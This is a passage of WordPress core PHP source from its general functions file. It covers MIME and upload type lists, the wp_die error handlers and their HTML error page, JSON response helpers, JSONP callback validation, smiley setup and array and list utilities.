// WordPerfect formats.
'wp|wpd' => 'application/wordperfect',
// iWork formats.
'key' => 'application/vnd.apple.keynote',
'numbers' => 'application/vnd.apple.numbers',
'pages' => 'application/vnd.apple.pages',
) );
}
/**
* Retrieves the list of common file extensions and their types.
*
* @since 4.6.0
*
* @return array Array of file extensions types keyed by the type of file.
*/
function wp_get_ext_types() {
/**
* Filters file type based on the extension name.
*
* @since 2.5.0
*
* @see wp_ext2type()
*
* @param array $ext2type Multi-dimensional array with extensions for a default set
* of file types.
*/
return apply_filters( 'ext2type', array(
'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico' ),
'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
) );
}
/**
* Retrieve list of allowed mime types and file extensions.
*
* @since 2.8.6
*
* @param int|WP_User $user Optional. User to check. Defaults to current user.
* @return array Array of mime types keyed by the file extension regex corresponding
* to those types.
*/
function get_allowed_mime_types( $user = null ) {
$t = wp_get_mime_types();
unset( $t['swf'], $t['exe'] );
if ( function_exists( 'current_user_can' ) )
$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
if ( empty( $unfiltered ) ) {
unset( $t['htm|html'], $t['js'] );
}
/**
* Filters list of allowed mime types and file extensions.
*
* @since 2.0.0
*
* @param array $t Mime types keyed by the file extension regex corresponding to
* those types. 'swf' and 'exe' removed from full list. 'htm|html' also
* removed depending on '$user' capabilities.
* @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
*/
return apply_filters( 'upload_mimes', $t, $user );
}
/**
* Display "Are You Sure" message to confirm the action being taken.
*
* If the action has the nonce explain message, then it will be displayed
* along with the "Are you sure?" message.
*
* @since 2.0.4
*
* @param string $action The nonce action.
*/
function wp_nonce_ays( $action ) {
if ( 'log-out' == $action ) {
$html = sprintf(
/* translators: %s: site name */
__( 'You are attempting to log out of %s' ),
get_bloginfo( 'name' )
);
$html .= '</p><p>';
$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
$html .= sprintf(
/* translators: %s: logout URL */
__( 'Do you really want to <a href="%s">log out</a>?' ),
wp_logout_url( $redirect_to )
);
} else {
$html = __( 'The link you followed has expired.' );
if ( wp_get_referer() ) {
$wp_http_referer = remove_query_arg( 'updated', wp_get_referer() );
$wp_http_referer = wp_validate_redirect( esc_url_raw( $wp_http_referer ) );
$html .= '</p><p>';
$html .= sprintf(
'<a href="%s">%s</a>',
esc_url( $wp_http_referer ),
__( 'Please try again.' )
);
}
}
wp_die( $html, __( 'Something went wrong.' ), 403 );
}
/**
* Kill WordPress execution and display HTML message with error message.
*
* This function complements the `die()` PHP function. The difference is that
* HTML will be displayed to the user. It is recommended to use this function
* only when the execution should not continue any further. It is not recommended
* to call this function very often, and try to handle as many errors as possible
* silently or more gracefully.
*
* As a shorthand, the desired HTTP response code may be passed as an integer to
* the `$title` parameter (the default title would apply) or the `$args` parameter.
*
* @since 2.0.4
* @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
* an integer to be used as the response code.
*
* @param string|WP_Error $message Optional. Error message. If this is a WP_Error object,
* and not an Ajax or XML-RPC request, the error's messages are used.
* Default empty.
* @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,
* error data with the key 'title' may be used to specify the title.
* If `$title` is an integer, then it is treated as the response
* code. Default empty.
* @param string|array|int $args {
* Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
* as the response code. Default empty array.
*
* @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
* @type bool $back_link Whether to include a link to go back. Default false.
* @type string $text_direction The text direction. This is only useful internally, when WordPress
* is still loading and the site's locale is not set up yet. Accepts 'rtl'.
* Default is the value of is_rtl().
* }
*/
function wp_die( $message = '', $title = '', $args = array() ) {
if ( is_int( $args ) ) {
$args = array( 'response' => $args );
} elseif ( is_int( $title ) ) {
$args = array( 'response' => $title );
$title = '';
}
if ( wp_doing_ajax() ) {
/**
* Filters the callback for killing WordPress execution for Ajax requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
/**
* Filters the callback for killing WordPress execution for XML-RPC requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
} else {
/**
* Filters the callback for killing WordPress execution for all non-Ajax, non-XML-RPC requests.
*
* @since 3.0.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
}
call_user_func( $function, $message, $title, $args );
}
/**
* Kills WordPress execution and display HTML message with error message.
*
* This is the default handler for wp_die if you want a custom one for your
* site then you can overload using the {@see 'wp_die_handler'} filter in wp_die().
*
* @since 3.0.0
* @access private
*
* @param string|WP_Error $message Error message or WP_Error object.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _default_wp_die_handler( $message, $title = '', $args = array() ) {
$defaults = array( 'response' => 500 );
$r = wp_parse_args($args, $defaults);
$have_gettext = function_exists('__');
if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
if ( empty( $title ) ) {
$error_data = $message->get_error_data();
if ( is_array( $error_data ) && isset( $error_data['title'] ) )
$title = $error_data['title'];
}
$errors = $message->get_error_messages();
switch ( count( $errors ) ) {
case 0 :
$message = '';
break;
case 1 :
$message = "<p>{$errors[0]}</p>";
break;
default :
$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
break;
}
} elseif ( is_string( $message ) ) {
$message = "<p>$message</p>";
}
if ( isset( $r['back_link'] ) && $r['back_link'] ) {
$back_text = $have_gettext? __('« Back') : '« Back';
$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
}
if ( ! did_action( 'admin_head' ) ) :
if ( !headers_sent() ) {
status_header( $r['response'] );
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
}
if ( empty($title) )
$title = $have_gettext ? __('WordPress › Error') : 'WordPress › Error';
$text_direction = 'ltr';
if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
$text_direction = 'rtl';
elseif ( function_exists( 'is_rtl' ) && is_rtl() )
$text_direction = 'rtl';
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width">
<?php
if ( function_exists( 'wp_no_robots' ) ) {
wp_no_robots();
}
?>
<title><?php echo $title ?></title>
<style type="text/css">
html {
background: #f1f1f1;
}
body {
background: #fff;
color: #444;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
margin: 2em auto;
padding: 1em 2em;
max-width: 700px;
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
box-shadow: 0 1px 3px rgba(0,0,0,0.13);
}
h1 {
border-bottom: 1px solid #dadada;
clear: both;
color: #666;
font-size: 24px;
margin: 30px 0 0 0;
padding: 0;
padding-bottom: 7px;
}
#error-page {
margin-top: 50px;
}
#error-page p {
font-size: 14px;
line-height: 1.5;
margin: 25px 0 20px;
}
#error-page code {
font-family: Consolas, Monaco, monospace;
}
ul li {
margin-bottom: 10px;
font-size: 14px ;
}
a {
color: #0073aa;
}
a:hover,
a:active {
color: #00a0d2;
}
a:focus {
color: #124964;
-webkit-box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, .8);
box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, .8);
outline: none;
}
.button {
background: #f7f7f7;
border: 1px solid #ccc;
color: #555;
display: inline-block;
text-decoration: none;
font-size: 13px;
line-height: 26px;
height: 28px;
margin: 0;
padding: 0 10px 1px;
cursor: pointer;
-webkit-border-radius: 3px;
-webkit-appearance: none;
border-radius: 3px;
white-space: nowrap;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-box-shadow: 0 1px 0 #ccc;
box-shadow: 0 1px 0 #ccc;
vertical-align: top;
}
.button.button-large {
height: 30px;
line-height: 28px;
padding: 0 12px 2px;
}
.button:hover,
.button:focus {
background: #fafafa;
border-color: #999;
color: #23282d;
}
.button:focus {
border-color: #5b9dd9;
-webkit-box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
outline: none;
}
.button:active {
background: #eee;
border-color: #999;
-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
-webkit-transform: translateY(1px);
-ms-transform: translateY(1px);
transform: translateY(1px);
}
<?php
if ( 'rtl' == $text_direction ) {
echo 'body { font-family: Tahoma, Arial; }';
}
?>
</style>
</head>
<body id="error-page">
<?php endif; // ! did_action( 'admin_head' ) ?>
<?php echo $message; ?>
</body>
</html>
<?php
die();
}
/**
* Kill WordPress execution and display XML message with error message.
*
* This is the handler for wp_die when processing XMLRPC requests.
*
* @since 3.2.0
* @access private
*
* @global wp_xmlrpc_server $wp_xmlrpc_server
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
global $wp_xmlrpc_server;
$defaults = array( 'response' => 500 );
$r = wp_parse_args($args, $defaults);
if ( $wp_xmlrpc_server ) {
$error = new IXR_Error( $r['response'] , $message);
$wp_xmlrpc_server->output( $error->getXml() );
}
die();
}
/**
* Kill WordPress ajax execution.
*
* This is the handler for wp_die when processing Ajax requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title (unused). Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
$defaults = array(
'response' => 200,
);
$r = wp_parse_args( $args, $defaults );
if ( ! headers_sent() && null !== $r['response'] ) {
status_header( $r['response'] );
}
if ( is_scalar( $message ) )
die( (string) $message );
die( '0' );
}
/**
* Kill WordPress execution.
*
* This is the handler for wp_die when processing APP requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Optional. Response to print. Default empty.
*/
function _scalar_wp_die_handler( $message = '' ) {
if ( is_scalar( $message ) )
die( (string) $message );
die();
}
/**
* Encode a variable into JSON, with some sanity checks.
*
* @since 4.1.0
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
* @param int $depth Optional. Maximum depth to walk through $data. Must be
* greater than 0. Default 512.
* @return string|false The JSON encoded string, or false if it cannot be encoded.
*/
function wp_json_encode( $data, $options = 0, $depth = 512 ) {
/*
* json_encode() has had extra params added over the years.
* $options was added in 5.3, and $depth in 5.5.
* We need to make sure we call it with the correct arguments.
*/
if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
$args = array( $data, $options, $depth );
} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
$args = array( $data, $options );
} else {
$args = array( $data );
}
// Prepare the data for JSON serialization.
$args[0] = _wp_json_prepare_data( $data );
$json = @call_user_func_array( 'json_encode', $args );
// If json_encode() was successful, no need to do more sanity checking.
// ... unless we're in an old version of PHP, and json_encode() returned
// a string containing 'null'. Then we need to do more sanity checking.
if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) ) {
return $json;
}
try {
$args[0] = _wp_json_sanity_check( $data, $depth );
} catch ( Exception $e ) {
return false;
}
return call_user_func_array( 'json_encode', $args );
}
/**
* Perform sanity checks on data that shall be encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see wp_json_encode()
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $depth Maximum depth to walk through $data. Must be greater than 0.
* @return mixed The sanitized data that shall be encoded to JSON.
*/
function _wp_json_sanity_check( $data, $depth ) {
if ( $depth < 0 ) {
throw new Exception( 'Reached depth limit' );
}
if ( is_array( $data ) ) {
$output = array();
foreach ( $data as $id => $el ) {
// Don't forget to sanitize the ID!
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
// Check the element type, so that we're only recursing if we really have to.
if ( is_array( $el ) || is_object( $el ) ) {
$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output[ $clean_id ] = _wp_json_convert_string( $el );
} else {
$output[ $clean_id ] = $el;
}
}
} elseif ( is_object( $data ) ) {
$output = new stdClass;
foreach ( $data as $id => $el ) {
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
if ( is_array( $el ) || is_object( $el ) ) {
$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output->$clean_id = _wp_json_convert_string( $el );
} else {
$output->$clean_id = $el;
}
}
} elseif ( is_string( $data ) ) {
return _wp_json_convert_string( $data );
} else {
return $data;
}
return $output;
}
/**
* Convert a string to UTF-8, so that it can be safely encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see _wp_json_sanity_check()
*
* @staticvar bool $use_mb
*
* @param string $string The string which is to be converted.
* @return string The checked string.
*/
function _wp_json_convert_string( $string ) {
static $use_mb = null;
if ( is_null( $use_mb ) ) {
$use_mb = function_exists( 'mb_convert_encoding' );
}
if ( $use_mb ) {
$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
if ( $encoding ) {
return mb_convert_encoding( $string, 'UTF-8', $encoding );
} else {
return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
}
} else {
return wp_check_invalid_utf8( $string, true );
}
}
/**
* Prepares response data to be serialized to JSON.
*
* This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
*
* @ignore
* @since 4.4.0
* @access private
*
* @param mixed $data Native representation.
* @return bool|int|float|null|string|array Data ready for `json_encode()`.
*/
function _wp_json_prepare_data( $data ) {
if ( ! defined( 'WP_JSON_SERIALIZE_COMPATIBLE' ) || WP_JSON_SERIALIZE_COMPATIBLE === false ) {
return $data;
}
switch ( gettype( $data ) ) {
case 'boolean':
case 'integer':
case 'double':
case 'string':
case 'NULL':
// These values can be passed through.
return $data;
case 'array':
// Arrays must be mapped in case they also return objects.
return array_map( '_wp_json_prepare_data', $data );
case 'object':
// If this is an incomplete object (__PHP_Incomplete_Class), bail.
if ( ! is_object( $data ) ) {
return null;
}
if ( $data instanceof JsonSerializable ) {
$data = $data->jsonSerialize();
} else {
$data = get_object_vars( $data );
}
// Now, pass the array (or whatever was returned from jsonSerialize through).
return _wp_json_prepare_data( $data );
default:
return null;
}
}
/**
* Send a JSON response back to an Ajax request.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $response Variable (usually an array or object) to encode as JSON,
* then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json( $response, $status_code = null ) {
@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
if ( null !== $status_code ) {
status_header( $status_code );
}
echo wp_json_encode( $response );
if ( wp_doing_ajax() ) {
wp_die( '', '', array(
'response' => null,
) );
} else {
die;
}
}
/**
* Send a JSON response back to an Ajax request, indicating success.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_success( $data = null, $status_code = null ) {
$response = array( 'success' => true );
if ( isset( $data ) )
$response['data'] = $data;
wp_send_json( $response, $status_code );
}
/**
* Send a JSON response back to an Ajax request, indicating failure.
*
* If the `$data` parameter is a WP_Error object, the errors
* within the object are processed and output as an array of error
* codes and corresponding messages. All other types are output
* without further processing.
*
* @since 3.5.0
* @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_error( $data = null, $status_code = null ) {
$response = array( 'success' => false );
if ( isset( $data ) ) {
if ( is_wp_error( $data ) ) {
$result = array();
foreach ( $data->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$result[] = array( 'code' => $code, 'message' => $message );
}
}
$response['data'] = $result;
} else {
$response['data'] = $data;
}
}
wp_send_json( $response, $status_code );
}
/**
* Checks that a JSONP callback is a valid JavaScript callback.
*
* Only allows alphanumeric characters and the dot character in callback
* function names. This helps to mitigate XSS attacks caused by directly
* outputting user input.
*
* @since 4.6.0
*
* @param string $callback Supplied JSONP callback function.
* @return bool True if valid callback, otherwise false.
*/
function wp_check_jsonp_callback( $callback ) {
if ( ! is_string( $callback ) ) {
return false;
}
preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
return 0 === $illegal_char_count;
}
/**
* Retrieve the WordPress home page URL.
*
* If the constant named 'WP_HOME' exists, then it will be used and returned
* by the function. This can be used to counter the redirection on your local
* development environment.
*
* @since 2.2.0
* @access private
*
* @see WP_HOME
*
* @param string $url URL for the home location.
* @return string Homepage location.
*/
function _config_wp_home( $url = '' ) {
if ( defined( 'WP_HOME' ) )
return untrailingslashit( WP_HOME );
return $url;
}
/**
* Retrieve the WordPress site URL.
*
* If the constant named 'WP_SITEURL' is defined, then the value in that
* constant will always be returned. This can be used for debugging a site
* on your localhost while not having to change the database to your URL.
*
* @since 2.2.0
* @access private
*
* @see WP_SITEURL
*
* @param string $url URL to set the WordPress site location.
* @return string The WordPress Site URL.
*/
function _config_wp_siteurl( $url = '' ) {
if ( defined( 'WP_SITEURL' ) )
return untrailingslashit( WP_SITEURL );
return $url;
}
/**
* Delete the fresh site option.
*
* @since 4.7.0
* @access private
*/
function _delete_option_fresh_site() {
update_option( 'fresh_site', '0' );
}
/**
* Set the localized direction for MCE plugin.
*
* Will only set the direction to 'rtl', if the WordPress locale has
* the text direction set to 'rtl'.
*
* Fills in the 'directionality' setting, enables the 'directionality'
* plugin, and adds the 'ltr' button to 'toolbar1', formerly
* 'theme_advanced_buttons1' array keys. These keys are then returned
* in the $mce_init (TinyMCE settings) array.
*
* @since 2.1.0
* @access private
*
* @param array $mce_init MCE settings array.
* @return array Direction set for 'rtl', if needed by locale.
*/
function _mce_set_direction( $mce_init ) {
if ( is_rtl() ) {
$mce_init['directionality'] = 'rtl';
$mce_init['rtl_ui'] = true;
if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
$mce_init['plugins'] .= ',directionality';
}
if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
$mce_init['toolbar1'] .= ',ltr';
}
}
return $mce_init;
}
/**
* Convert smiley code to the icon graphic file equivalent.
*
* You can turn off smilies, by going to the write setting screen and unchecking
* the box, or by setting 'use_smilies' option to false or removing the option.
*
* Plugins may override the default smiley list by setting the $wpsmiliestrans
* to an array, with the key the code the blogger types in and the value the
* image file.
*
* The $wp_smiliessearch global is for the regular expression and is set each
* time the function is called.
*
* The full list of smilies can be found in the function and won't be listed in
* the description. Probably should create a Codex page for it, so that it is
* available.
*
* @global array $wpsmiliestrans
* @global array $wp_smiliessearch
*
* @since 2.2.0
*/
function smilies_init() {
global $wpsmiliestrans, $wp_smiliessearch;
// don't bother setting up smilies if they are disabled
if ( !get_option( 'use_smilies' ) )
return;
if ( !isset( $wpsmiliestrans ) ) {
$wpsmiliestrans = array(
':mrgreen:' => 'mrgreen.png',
':neutral:' => "\xf0\x9f\x98\x90",
':twisted:' => "\xf0\x9f\x98\x88",
':arrow:' => "\xe2\x9e\xa1",
':shock:' => "\xf0\x9f\x98\xaf",
':smile:' => "\xf0\x9f\x99\x82",
':???:' => "\xf0\x9f\x98\x95",
':cool:' => "\xf0\x9f\x98\x8e",
':evil:' => "\xf0\x9f\x91\xbf",
':grin:' => "\xf0\x9f\x98\x80",
':idea:' => "\xf0\x9f\x92\xa1",
':oops:' => "\xf0\x9f\x98\xb3",
':razz:' => "\xf0\x9f\x98\x9b",
':roll:' => "\xf0\x9f\x99\x84",
':wink:' => "\xf0\x9f\x98\x89",
':cry:' => "\xf0\x9f\x98\xa5",
':eek:' => "\xf0\x9f\x98\xae",
':lol:' => "\xf0\x9f\x98\x86",
':mad:' => "\xf0\x9f\x98\xa1",
':sad:' => "\xf0\x9f\x99\x81",
'8-)' => "\xf0\x9f\x98\x8e",
'8-O' => "\xf0\x9f\x98\xaf",
':-(' => "\xf0\x9f\x99\x81",
':-)' => "\xf0\x9f\x99\x82",
':-?' => "\xf0\x9f\x98\x95",
':-D' => "\xf0\x9f\x98\x80",
':-P' => "\xf0\x9f\x98\x9b",
':-o' => "\xf0\x9f\x98\xae",
':-x' => "\xf0\x9f\x98\xa1",
':-|' => "\xf0\x9f\x98\x90",
';-)' => "\xf0\x9f\x98\x89",
// This one transformation breaks regular text with frequency.
// '8)' => "\xf0\x9f\x98\x8e",
'8O' => "\xf0\x9f\x98\xaf",
':(' => "\xf0\x9f\x99\x81",
':)' => "\xf0\x9f\x99\x82",
':?' => "\xf0\x9f\x98\x95",
':D' => "\xf0\x9f\x98\x80",
':P' => "\xf0\x9f\x98\x9b",
':o' => "\xf0\x9f\x98\xae",
':x' => "\xf0\x9f\x98\xa1",
':|' => "\xf0\x9f\x98\x90",
';)' => "\xf0\x9f\x98\x89",
':!:' => "\xe2\x9d\x97",
':?:' => "\xe2\x9d\x93",
);
}
/**
* Filters all the smilies.
*
* This filter must be added before `smilies_init` is run, as
* it is normally only run once to setup the smilies regex.
*
* @since 4.7.0
*
* @param array $wpsmiliestrans List of the smilies.
*/
$wpsmiliestrans = apply_filters('smilies', $wpsmiliestrans);
if (count($wpsmiliestrans) == 0) {
return;
}
/*
* NOTE: we sort the smilies in reverse key order. This is to make sure
* we match the longest possible smilie (:???: vs :?) as the regular
* expression used below is first-match
*/
krsort($wpsmiliestrans);
$spaces = wp_spaces_regexp();
// Begin first "subpattern"
$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
$subchar = '';
foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
$firstchar = substr($smiley, 0, 1);
$rest = substr($smiley, 1);
// new subpattern?
if ($firstchar != $subchar) {
if ($subchar != '') {
$wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern"
$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
}
$subchar = $firstchar;
$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
} else {
$wp_smiliessearch .= '|';
}
$wp_smiliessearch .= preg_quote($rest, '/');
}
$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
}
/**
* Merge user defined arguments into defaults array.
*
* This function is used throughout WordPress to allow for both string or array
* to be merged into another array.
*
* @since 2.2.0
* @since 2.3.0 `$args` can now also be an object.
*
* @param string|array|object $args Value to merge with $defaults.
* @param array $defaults Optional. Array that serves as the defaults. Default empty.
* @return array Merged user defined values with defaults.
*/
function wp_parse_args( $args, $defaults = '' ) {
if ( is_object( $args ) )
$r = get_object_vars( $args );
elseif ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );
if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
return $r;
}
/**
* Clean up an array, comma- or space-separated list of IDs.
*
* @since 3.0.0
*
* @param array|string $list List of ids.
* @return array Sanitized array of IDs.
*/
function wp_parse_id_list( $list ) {
if ( !is_array($list) )
$list = preg_split('/[\s,]+/', $list);
return array_unique(array_map('absint', $list));
}
/**
* Clean up an array, comma- or space-separated list of slugs.
*
* @since 4.7.0
*
* @param array|string $list List of slugs.
* @return array Sanitized array of slugs.
*/
function wp_parse_slug_list( $list ) {
if ( ! is_array( $list ) ) {
$list = preg_split( '/[\s,]+/', $list );
}
foreach ( $list as $key => $value ) {
$list[ $key ] = sanitize_title( $value );
}
return array_unique( $list );
}
/**
* Extract a slice of an array, given a list of keys.
*
* @since 3.1.0
*
* @param array $array The original array.
* @param array $keys The list of keys.
* @return array The array slice.
*/
function wp_array_slice_assoc( $array, $keys ) {
$slice = array();
foreach ( $keys as $key )
if ( isset( $array[ $key ] ) )
$slice[ $key ] = $array[ $key ];
return $slice;
}
/**
* Determines if the variable is a numeric-indexed array.
*
* @since 4.4.0
*
* @param mixed $data Variable to check.
* @return bool Whether the variable is a list.
*/
function wp_is_numeric_array( $data ) {
if ( ! is_array( $data ) ) {
return false;
}
$keys = array_keys( $data );
$string_keys = array_filter( $keys, 'is_string' );
return count( $string_keys ) === 0;
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.0.0
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list An array of objects to filter
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'or' means
* only one element from the array needs to match; 'and'
* means all elements must match; 'not' means no elements may
* match. Default 'and'.
* @param bool|string $field A field from the object to place instead of the entire object.
* Default false.
* @return array A list of objects or object fields.
*/
function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
$util->filter( $args, $operator );
if ( $field ) {
$util->pluck( $field );
}
return $util->get_output();
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.1.0
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list An array of objects to filter.
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
*/
function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->filter( $args, $operator );
}
/**
* Pluck a certain field out of each object in a list.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 3.1.0
* @since 4.0.0 $index_key parameter added.
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list List of objects or arrays
* @param int|string $field Field from the object to place instead of the entire object
* @param int|string $index_key Optional. Field from the object to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
*/
function wp_list_pluck( $list, $field, $index_key = null ) {
$util = new WP_List_Util( $list );
return $util->pluck( $field, $index_key );
}
/**
* Sorts a list of objects, based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param array $list An array of objects to filter.
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
*/
function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->sort( $orderby, $order, $preserve_keys );
}
/**
* Determines if Widgets library should be loaded.
*
* Checks to make sure that the widgets library hasn't already been loaded.
* If it hasn't, then it will load the widgets library and run an action hook.
*
* @since 2.2.0
*/
function wp_maybe_load_widgets() {
/**
* Filters whether to load the Widgets library.
*
* Passing a falsey value to the filter will effectively short-circuit
* the Widgets library from loading.
*
* @since 2.8.0
*
* @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
* Default true.
*/
if ( ! apply_filters( 'load_default_widgets', true ) ) {
return;
}
require_once( ABSPATH . WPINC . '/default-widgets.php' );
add_action( '_admin_menu', 'wp_widgets_add_menu' );
}
/**
* Append the Widgets menu to the themes main menu.
*
* @since 2.2.0
*
* @global array $submenu
*/
function wp_widgets_add_menu() {
global $submenu;
if ( ! current_theme_supports( 'widgets' ) )
return;
$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
ksort( $submenu['themes.php'], SORT_NUMERIC );
}
/**
* Flush all output buffers for PHP 5.2.
*
* Make sure all output buffers are flushed before our singletons are destroyed.
*
* @since 2.2.0
*/
